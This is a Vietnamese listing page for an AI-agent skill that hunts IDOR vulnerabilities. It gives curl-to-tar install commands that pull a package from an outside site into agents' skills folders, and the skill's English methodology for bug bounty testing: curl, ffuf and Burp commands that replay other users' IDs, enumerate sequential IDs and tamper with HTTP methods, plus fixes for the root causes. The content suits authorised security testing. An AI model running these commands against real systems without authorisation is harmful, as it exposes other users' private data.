hunt-idor – skill Bảo mật cho agent AI
Skill săn lỗ hổng IDOR. Được xây dựng từ 26 báo cáo bug bounty công khai. Dùng khi săn IDOR trên bất kỳ mục tiêu nào.
Cài skill hunt-idor bằng một lệnh
Chọn công cụ bạn đang dùng, copy lệnh và dán vào terminal. Skill sẽ nằm trong thư mục skills của công cụ đó và sẵn sàng dùng ở phiên làm việc tiếp theo.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-idor-c069a.tgz | tar xz -C ~/.claude/skills
Gọi trong Claude Code: /hunt-idor – rồi mô tả công việc bạn muốn làm.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-idor-c069a.tgz | tar xz -C ~/.codex/skills
Gọi trong Codex: $hunt-idor – rồi mô tả công việc bạn muốn làm.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-idor-c069a.tgz | tar xz -C ~/.hermes/skills
Gọi trong Hermes Agent: /hunt-idor – rồi mô tả công việc bạn muốn làm.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-idor-c069a.tgz | tar xz -C ~/.deepcode/skills
Gọi trong DeepSeek: /hunt-idor – rồi mô tả công việc bạn muốn làm.
Nội dung SKILL.md
Nội dung SKILL.md gốc bằng tiếng Anh.
When to Use
Use when the target has any endpoint that references user-owned resources by ID — API paths with user/order/invoice/message IDs, GraphQL queries with id arguments, file download endpoints, or any multi-tenant SaaS feature. IDOR is one of the most common and highest-paying vulnerabilities because it directly exposes other users' data without authentication bypass. Every feature that displays or acts on a resource by identifier is a candidate. Highest-value targets: financial documents/billing APIs, private repositories, user messages, account management endpoints, and cross-tenant business/org administration features.
Crown Jewel Targets
Why IDOR pays big:
- Direct access to other users' data without authentication bypass — clear, demonstrable impact
- Chains easily with privilege escalation, financial fraud, and account takeover
- Affects virtually every application with user-owned resources
Highest-value asset types (by payout potential):
| Asset Type | Why It Pays |
|---|---|
| Financial documents / billing APIs | PII + financial data exposure (Shopify, Uber, PayPal) |
| Private repositories / source code | IP theft, critical data loss (GitHub) |
| User messages / DMs | Privacy violation at scale (Reddit) |
| Account management endpoints | User addition, deletion, privilege escalation (PayPal, Mozilla) |
| Business/org administration | Cross-tenant escalation, employee PII (Uber) |
| Content moderation/admin actions | Operational sabotage (Reddit mod logs) |
Programs that pay most for IDOR:
- Platforms with multi-tenancy (SaaS, B2Btools)
- Fintech and payment processors
- Social platforms with private content
- Developertools with org/repo isolation
---
Attack Surface Signals
URL patterns that scream IDOR:
/api/v1/users/{id}/
/api/v*/orders/{order_id}
/invoices/download?id=
/reports/{uuid}/
/messages/{thread_id}
/admin/orgs/{org_id}/members
/migration/{migration_id}/files
/graphql (query params with IDs)
/api/business/{business_id}/
/vouchers/{voucher_id}/policyResponse header signals:
Content-Type: application/jsonon endpoints accepting raw IDs- No
X-Frame-Optionsor CORS misconfigs paired with ID params Authorization: Bearertokens that are user-scoped but hit org-level resources
JavaScript source patterns:
// Look for hardcoded or interpolated IDs in JS
fetch(`/api/v1/users/${userId}/profile`)
axios.get('/invoices/' + invoiceId)
graphql query { billingDocument(id: $docId) }
// Redux/state stores exposing foreign IDs
state.currentUser.organizationIdTech stack signals:
- GraphQL endpoints (query-based IDORs are often missed)
- REST APIs with sequential integer IDs (most vulnerable)
- UUIDs that are predictable or leaked in other responses
- Multi-tenant SaaS apps with
org_id,account_id,business_idparams - Mobile apps (Burp the APK — mobile APIs often skip authorization checks)
---
Step-by-Step Hunting Methodology
1. Map all object references in the application
- Browse every feature authenticated as User A
- Capture all requests in Burp Suite
- Filter for requests containing:
id=,_id=,uuid=,/v1/{noun}/{id}, query params with numeric/UUID values
2. Enumerate ID types
- Sequential integers → enumerate ±1, ±100
- UUIDs → check if they appear in other responses or JS files
- Hashed IDs → check if leaked in public endpoints, metadata, or GraphQL introspection
3. Create two separate accounts (same privilege level)
- User A: resource owner
- User B: attacker account
- Log all IDs belonging to User A while authenticated as User A
4. Replay User A's resource IDs as User B
- Replace session cookie/token with User B's credentials
- Send identical requests referencing User A's object IDs
- Test ALL HTTP verbs: GET, POST, PUT, PATCH, DELETE on each endpoint
5. Test cross-tenant/cross-org scenarios
- Create accounts in separate organizations/businesses
- Test if Org B's session can reference Org A's IDs
- Pay special attention to admin/management endpoints
6. Test GraphQL specifically
- Run introspection:
{ __schema { queryType { fields { name } } } } - For every query/mutation taking an
idargument, substitute another user's ID - Test both queries (read) and mutations (write/delete)
7. Test write/destructive operations, not just reads
- Can User B DELETE User A's resources?
- Can User B MODIFY User A's content?
- Can User B ADD themselves to User A's account?
8. Chain IDORs together
- Use one IDOR's leaked data (org IDs, user IDs) to fuel the next
- IDOR → leaked ID → second IDOR → privilege escalation
9. Test state-changing edge cases
- Expired tokens/invites that can still be accepted
- Race conditions on resource IDs
- Indirect references:
?sort=idor?filter[user_id]=
10. Document the exact differential
- Confirm User B has NO legitimate access to User A's resource
- Screenshot/log the 200 OK vs expected 403/404
---
Payload & Detection Patterns
Basic IDOR test with curl (swap cookie/token):
# Get User A's resource ID while authenticated as A
curl --max-time 30 --connect-timeout 10 -s -H "Cookie: session=USER_A_SESSION" \
https://target.com/api/v1/invoices/12345
# Replay with User B's session
curl --max-time 30 --connect-timeout 10 -s -H "Cookie: session=USER_B_SESSION" \
https://target.com/api/v1/invoices/12345
# Success = 200 OK with User A's dataGraphQL IDOR test:
curl --max-time 30 --connect-timeout 10 -s -X POST https://target.com/graphql \
-H "Authorization: Bearer USER_B_TOKEN" \
-H "Content-Type: application/json" \
-d '{"query":"{ billingDocument(id: \"USER_A_DOC_ID\") { id amount pdfUrl } }"}'Enumerate sequential IDs with ffuf:
ffuf -u "https://target.com/api/v1/orders/FUZZ" \
-w ids.txt \
-H "Authorization: Bearer USER_B_TOKEN" \
-mc 200 \
-o idor_results.jsonGenerate sequential ID wordlist:
# Generate IDs around a known value
known_id = 48291
with open("ids.txt", "w") as f:
for i in range(known_id - 500, known_id + 500):
f.write(str(i) + "\n")Burp Intruder payload for IDOR scanning:
GET /api/messages/§12345§ HTTP/1.1
Host: target.com
Authorization: Bearer USER_B_TOKEN
# Mark §12345§ as injection point
# Use numeric sequential payload: 12000-13000
# Filter responses by length difference or status 200JavaScript scraping for leaked IDs:
# Find IDs in JS bundles
curl --max-time 30 --connect-timeout 10 -s https://target.com/static/app.js | grep -Eo '"id":"[a-f0-9-]{36}"' | sort -u
# Find object references in API responses
curl --max-time 30 --connect-timeout 10 -s -H "Cookie: session=USER_A" \
https://target.com/api/v1/dashboard | python3 -m json.tool | grep -i "_id"Grep patterns for source code review:
# Missing authorization checks in common frameworks
grep -r "findById\|findOne\|getById" --include="*.js" .
grep -r "params\[:id\]\|params\['id'\]" --include="*.rb" .
grep -r "request\.args\.get\('id'\)" --include="*.py" .
# Look for direct ORM queries without user scoping
grep -r "Model\.find(params" --include="*.js" .
# vs secure pattern: Model.find({ id: params.id, userId: req.user.id })IDOR via HTTP method tampering:
# Try undocumented methods
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
echo "=== $method ==="
curl --max-time 30 --connect-timeout 10 -s -X $method \
-H "Authorization: Bearer USER_B_TOKEN" \
https://target.com/api/v1/users/USER_A_ID/profile
done---
Common Root Causes
1. Missing ownership check in ORM queries
// VULNERABLE: fetches any record
const invoice = await Invoice.findById(req.params.id);
// SECURE: scopes to authenticated user
const invoice = await Invoice.findOne({ _id: req.params.id, userId: req.user.id });
2. Authorization at the route level, not object level
- Developer checks "is user logged in?" but not "does this user own this object?"
- Middleware confirms authentication; individual handlers skip ownership validation
3. Trusting client-supplied IDs in request bodies
- Mobile apps or SPAs send
org_idin POST body; server uses it directly without verifying caller belongs to that org
4. GraphQL resolvers without field-level authorization
- Query resolvers fetch by ID from database without checking if the requesting user has permission
- Especially common when resolvers are auto-generated from schema
5. Inconsistent authorization across HTTP verbs
- GET endpoint is protected; POST/DELETE on same resource path is not
- Common in APIs built incrementally by different developers
6. Indirect references exposed via related objects
- Object A (accessible) contains a reference to Object B (should be private)
- Developer only protects d
… (nội dung đầy đủ có trong gói tải về)
Skill liên quan
- audit-context-building – Cho phép phân tích mã cực chi tiết, từng dòng, để xây dựng ngữ cảnh kiến trúc sâu trước…
- audit-log – Sổ nhật ký kiểm toán: dấu thời gian, người dùng, module, bản ghi, hành động, trường bị…
- audit-logging – Triển khai ghi nhật ký kiểm toán tập trung và tích hợp SIEM. Cấu hình thời gian lưu giữ…
- audit-preparation – Sổ đăng ký chuẩn bị kiểm toán: tài liệu bắt buộc, kỳ được bao phủ, ngày yêu cầu và ngày…
- audit-skills – Chuyên gia kiểm toán bảo mật cho AI Skills và Bundles. Thực hiện phân tích tĩnh không…
- hunt-laravel – Săn lỗ hổng đặc thù Laravel — rò rỉ khi bật debug (APP_DEBUG=true làm lộ toàn bộ stack…
- hunt-llm-ai – Săn lỗ hổng tính năng LLM/AI — prompt injection, indirect injection, rò rỉ dữ liệu qua…
- hunt-mcp-security – Săn lỗ hổng Model Context Protocol (MCP) trong các hệ thống tích hợp công cụ AI.